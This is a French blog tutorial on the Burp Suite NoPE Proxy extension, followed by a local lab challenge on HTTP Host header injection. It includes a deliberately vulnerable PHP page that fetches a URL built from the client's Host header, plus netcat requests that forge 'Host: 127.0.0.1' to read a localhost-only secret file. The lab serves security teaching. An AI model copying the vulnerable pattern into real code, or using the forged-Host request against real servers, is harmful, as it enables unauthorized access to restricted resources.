Menu Fermer

NoPE proxy && Host Header Injection

Burp Suite

L’article est composé d’une vidéo sur l’extension « nope-proxy » et d’une introduction à l’injection dans le champ « Host » de l’entête HTTP.
Les codes sources et les configurations sont uniquement à destination d’un serveur local hébergé dans une machine virtuelle en mode laboratoire.

Burp-Non-HTTP-Extension

Références :

Question : https://forum.portswigger.net/thread/can-we-intercept-tcp-ip-protocol-in-burp-8e0e3a14
Git nope-proxy : https://github.com/portswigger/nope-proxy
Guide de mise en route : https://github.com/summitt/Burp-Non-HTTP-Extension/wiki
Tuto nope-proxy : https://medium.com/@juan.tirtayana/intercepting-non-http-request-using-burp-suite-extension-8c264b3c41d1

Dans cette vidéo nous allons mettre en pratique l’extension nope-proxy développée par Josh Summitt. Il s’agira d’intercepter du flux TCP non HTTP pour le modifier à l’instar de la fonctionnalité principale de Burp Suite pour les requêtes HTTP.

HTTP Host header attacks

Référence :

HTTP Host header attacks : https://portswigger.net/web-security/host-header

L’attaque consiste à effectuer une injection de la valeur « Host » qui se situe dans le « Header » d’une requête HTTP. Pour ce faire une allons partager le fichier « secret.txt » uniquement accessible à l’adresse ip 127.0.0.1.
Le nom de domaine example.com devra être remplacé par celui de votre serveur.

GET /chall01.php HTTP/1.1
Host: example.com

Serveur Linux

On ajoute du code dans le fichier apache2.conf pour utiliser nos fichiers .htaccess. Ce fichier est dans le répertoire /etc/apache2 et les fichiers suivants sont dans le répertoire /var/www/html.

<Directory /var/www/html>
    AllowOverride All
</Directory>

Création du fichier .htaccess. avec la ligne « Options -Indexes » pour interdire aux utilisateurs de lister les répertoires. Le reste des instructions a pour rôle d’interdire aux utilisateurs de lire les fichiers qui ont pour extensions « .txt », sauf pour l’utilisateur qui a comme adresse ip 127.0.0.1.

Options -Indexes
<FilesMatch "\.txt$">
    order allow,deny
    Allow from 127.0.0.1
</FilesMatch>

Création du fichier index.html pour permettre à l’utilisateur de rentrer un pseudo et d’être redirigé vers la page du challenge.

<html>
</head><title>Challenge</title></head>
<body>
    <h1>Un petit challenge</h1>
    <p>L'objectif est de lire le fichier <strong>secret.txt</strong> mais uniquement l'adresse ip 127.0.0.1 peut y avoir accès !</p>
    <p>Vous pouvez suivre les personnes qui ont validées à partir du fichier <a href="/dashboard.log"><strong>dashboard.log</strong></a></p>
    <p>Il n'y a pas de brute-force ni de scan à faire et le paramètre user ne sert que pour le dashboard !</p>

    <form action="chall01.php" method="get">
        <label>Pseudo : <input type="text" name="user" required size="10"></label>
        <input type=submit value="enjoy"/>
    </form>
</body>
</html>

Création du fichier chall01.php qui comporte la vulnérabilité et affiche le flag si l’utilisateur réussi l’épreuve. En bonus il affiche le pseudo du vainqueur dans le « Dashboard » s’il a été renseigné.

<html>
<head><title>chall01</title></head>
<body>
<?php
    $host  = $_SERVER['HTTP_HOST'];
    $extra = 'secret.txt';
    $url = htmlentities("http://$host/$extra");

    $http = file_get_contents($url);
    if(!$http) {
        $http = "Deny";
    }
    echo $http;

    if (isset($_GET['user']) && substr_compare($http,"Flag",1,4)===1) {
        $fic=fopen('dashboard.log','ab');
        fwrite($fic,"You win : ".htmlspecialchars($_GET['user'])." at ".date("Y-m-d H:i:s")."\n");
        fclose($fic);
    }
?>

</br></br>
<a href="/index.html">home</a></br></br>
<a href="/dashboard.log">dashboard</a>

</body>
</html>

Création du fichier secret.txt qui contient le flag.

Flag{NeverTrustAnyDataInput}

Attaquant

L’objectif est d’utiliser Burp Suite avec l’extension « NoPE Proxy » ou avec le « Repeater ». Mais nous allons utiliser nectat 🤪. Une première requête légitime nous répond « Deny » pour accéder à la ressource secret.txt.

echo "GET /chall01.php?user=egarim HTTP/1.1\r\nHost: example.com:80\r\n\r\n" | nc example.com 80

HTTP/1.1 200 OK
Date: Sat, 30 Oct 2021 14:33:18 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 163
Content-Type: text/html; charset=UTF-8

<html>
<head><title>chall01</title></head>
<body>
Deny
</br></br>
<a href="/index.html">home</a></br></br>
<a href="/dashboard.log">dashboard</a>

</body>
</html>

On effectue une nouvelle requête en modifiant la valeur du paramètre Host dans l’entête HTTP par 127.0.0.1. Ce qui permet d’accéder à distance à la ressource secret.txt, et pourtant disponible uniquement en local.

echo "GET /chall01.php?user=egarim HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc example.com 80

HTTP/1.1 200 OK
Date: Tue, 26 Oct 2021 14:28:32 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 188
Content-Type: text/html; charset=UTF-8

<html>
<head><title>chall01</title></head>
<body>
Flag{NeverTrustAnyDataInput}

</br></br>
<a href="/index.html">home</a></br></br>
<a href="/dashboard.log">dashboard</a>

</body>
</html>

The flag is Flag{NeverTrustAnyDataInput} 🤘

Pour continuer à augmenter nos compétences il y a des labs disponibles chez portswigger 😀.

Bibliographie

  • Question : https://forum.portswigger.net/thread/can-we-intercept-tcp-ip-protocol-in-burp-8e0e3a14
  • Git nope-proxy : https://github.com/portswigger/nope-proxy
  • Guide de mise en route : https://github.com/summitt/Burp-Non-HTTP-Extension/wiki
  • Tuto nope-proxy : https://medium.com/@juan.tirtayana/intercepting-non-http-request-using-burp-suite-extension-8c264b3c41d1
  • Git Josh Summit : https://github.com/summitt
  • HTTP Host header attacks : https://portswigger.net/web-security/host-header
  • Labs HTTP host header attacks : https://portswigger.net/web-security/all-labs#http-host-header-attacks
  • OWASP Host Header Injection : https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
  • OWASP projet de sécurité Header HTTP : https://owasp.org/www-project-secure-headers/